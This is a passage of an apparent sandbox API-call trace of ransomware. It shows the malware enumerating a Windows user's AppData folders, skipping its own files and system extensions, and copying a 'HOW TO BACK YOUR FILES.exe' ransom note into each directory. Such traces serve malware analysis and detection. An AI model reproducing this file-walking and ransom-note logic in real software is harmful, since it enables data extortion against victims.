	[0037.257] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e542e50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e542e50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.257] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.257] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.257] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0037.257] lstrlenW (lpString="desktop.ini") returned 11
	[0037.257] lstrlenW (lpString="Apollon865") returned 10
	[0037.257] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0037.257] lstrlenW (lpString=".dll") returned 4
	[0037.257] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0037.257] lstrlenW (lpString=".lnk") returned 4
	[0037.257] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0037.257] lstrlenW (lpString=".ini") returned 4
	[0037.257] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0037.257] lstrlenW (lpString=".sys") returned 4
	[0037.258] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0037.258] lstrlenW (lpString="desktop.ini") returned 11
	[0037.258] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="Internet Explorer.lnk" | out: lpString1="Internet Explorer.lnk") returned="Internet Explorer.lnk"
	[0037.258] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0037.258] lstrlenW (lpString="Apollon865") returned 10
	[0037.258] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0037.258] lstrlenW (lpString=".dll") returned 4
	[0037.258] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".dll") returned 1
	[0037.258] lstrlenW (lpString=".lnk") returned 4
	[0037.258] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".lnk") returned 1
	[0037.258] lstrlenW (lpString=".ini") returned 4
	[0037.258] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".ini") returned 1
	[0037.258] lstrlenW (lpString=".sys") returned 4
	[0037.258] lstrcmpiW (lpString1="Internet Explorer.lnk", lpString2=".sys") returned 1
	[0037.258] lstrlenW (lpString="Internet Explorer.lnk") returned 21
	[0037.258] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="Windows Explorer.lnk" | out: lpString1="Windows Explorer.lnk") returned="Windows Explorer.lnk"
	[0037.258] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0037.258] lstrlenW (lpString="Apollon865") returned 10
	[0037.258] lstrcmpiW (lpString1="plorer.lnk", lpString2="Apollon865") returned 1
	[0037.258] lstrlenW (lpString=".dll") returned 4
	[0037.258] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".dll") returned 1
	[0037.258] lstrlenW (lpString=".lnk") returned 4
	[0037.258] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".lnk") returned 1
	[0037.258] lstrlenW (lpString=".ini") returned 4
	[0037.258] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".ini") returned 1
	[0037.258] lstrlenW (lpString=".sys") returned 4
	[0037.258] lstrcmpiW (lpString1="Windows Explorer.lnk", lpString2=".sys") returned 1
	[0037.258] lstrlenW (lpString="Windows Explorer.lnk") returned 20
	[0037.258] lstrcpyW (in: lpString1=0x2d3e60c, lpString2="Windows Media Player.lnk" | out: lpString1="Windows Media Player.lnk") returned="Windows Media Player.lnk"
	[0037.258] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0037.258] lstrlenW (lpString="Apollon865") returned 10
	[0037.258] lstrcmpiW (lpString1="Player.lnk", lpString2="Apollon865") returned 1
	[0037.258] lstrlenW (lpString=".dll") returned 4
	[0037.259] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".dll") returned 1
	[0037.259] lstrlenW (lpString=".lnk") returned 4
	[0037.259] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".lnk") returned 1
	[0037.259] lstrlenW (lpString=".ini") returned 4
	[0037.259] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".ini") returned 1
	[0037.259] lstrlenW (lpString=".sys") returned 4
	[0037.259] lstrcmpiW (lpString1="Windows Media Player.lnk", lpString2=".sys") returned 1
	[0037.259] lstrlenW (lpString="Windows Media Player.lnk") returned 24
	[0037.259] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0037.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.259] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0037.259] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 106
	[0037.259] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts"
	[0037.259] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.259] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\implicitappshortcuts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.264] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.264] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.264] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.264] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.264] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto"
	[0037.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0037.264] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0037.264] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned 49
	[0037.264] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto"
	[0037.264] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.264] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.270] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.270] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e568fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e568fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.270] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.270] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.270] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0037.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0037.270] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0037.270] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7ab0
	[0037.270] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0037.270] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.270] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0037.270] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0037.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0037.270] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0037.270] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned 53
	[0037.270] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA"
	[0037.270] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.270] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.276] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.276] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.276] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.276] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.276] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials"
	[0037.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0037.276] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0037.276] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned 54
	[0037.276] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials"
	[0037.276] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.276] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.281] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.281] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.281] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.281] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.282] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities"
	[0037.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0037.282] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.282] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned 43
	[0037.282] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities"
	[0037.282] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.282] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.287] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.287] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e58f110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e58f110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.287] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.287] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.287] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0037.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0037.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x599450
	[0037.287] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0037.287] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{31810C36-5D23-4CCE-A3B4-316DED195C38}", cAlternateFileName="{31810~1")) returned 0
	[0037.288] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.288] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a90
	[0037.288] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0037.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a88 | out: hHeap=0x580000) returned 1
	[0037.288] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned 82
	[0037.288] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}"
	[0037.288] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.288] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\identities\\{31810c36-5d23-4cce-a3b4-316ded195c38}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.293] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.293] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.293] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.293] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.293] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\LocalLow", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow"
	[0037.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdca8 | out: hHeap=0x580000) returned 1
	[0037.293] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0037.293] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow") returned 33
	[0037.293] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow"
	[0037.293] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.293] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.298] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.298] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e5b5270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e5b5270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.299] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.299] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.299] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0037.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0037.299] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0037.299] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0037.299] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0037.299] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.299] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a70
	[0037.299] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft"
	[0037.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0037.299] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a68 | out: hHeap=0x580000) returned 1
	[0037.299] lstrlenW (lpString="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned 43
	[0037.299] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft" | out: lpString1="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft"
	[0037.299] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.299] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\LocalLow\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\locallow\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.304] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
